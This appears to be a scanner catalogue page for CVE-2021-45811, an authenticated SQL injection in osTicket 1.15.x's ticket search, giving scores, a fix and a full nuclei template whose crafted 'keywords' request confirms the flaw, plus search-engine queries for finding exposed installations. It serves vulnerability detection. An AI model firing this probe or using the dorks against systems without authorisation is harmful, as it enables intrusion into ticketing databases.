osTicket 1.15.x - SQL Injection

mediumseverity

6.5CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

A SQL injection vulnerability in the "Search" functionality of "tickets.php" page in osTicket 1.15.x allows authenticated attackers to execute arbitrary SQL commands via the "keywords" and "topic_id" URL parameters combination.

Impact

Authenticated attackers can exploit SQL injection in the Search functionality to extract sensitive database contents including user credentials and ticket information.

Fix

Upgrade osTicket to later version to mitigate this vulnerability.

How to confirm it

Send: GET /scp/login.php
Positive when: contains(tolower(body), "osticket")
Send: POST /scp/login.php ; GET /tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val
Positive when: contains_all(body_2, "FROM (SELECT", "topic_id_val\'\' IN NATURAL", "ORDER BY relevance")

Run it with nuclei: nuclei -id CVE-2021-45811 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-45811

info:
  name: osTicket 1.15.x - SQL Injection
  author: ritikchaddha
  severity: medium
  description: |
    A SQL injection vulnerability in the "Search" functionality of "tickets.php" page in osTicket 1.15.x allows authenticated attackers to execute arbitrary SQL commands via the "keywords" and "topic_id" URL parameters combination.
  impact: |
    Authenticated attackers can exploit SQL injection in the Search functionality to extract sensitive database contents including user credentials and ticket information.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://members.backbox.org/osticket-sql-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45811
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-45811
    cwe-id: CWE-89
    epss-score: 0.02496
    epss-percentile: 0.84815
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2021,osticket,sqli,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body_2, "FROM (SELECT", "topic_id_val\'\' IN NATURAL", "ORDER BY relevance")

References

Use this check only on systems you are authorised to test. Where the data comes from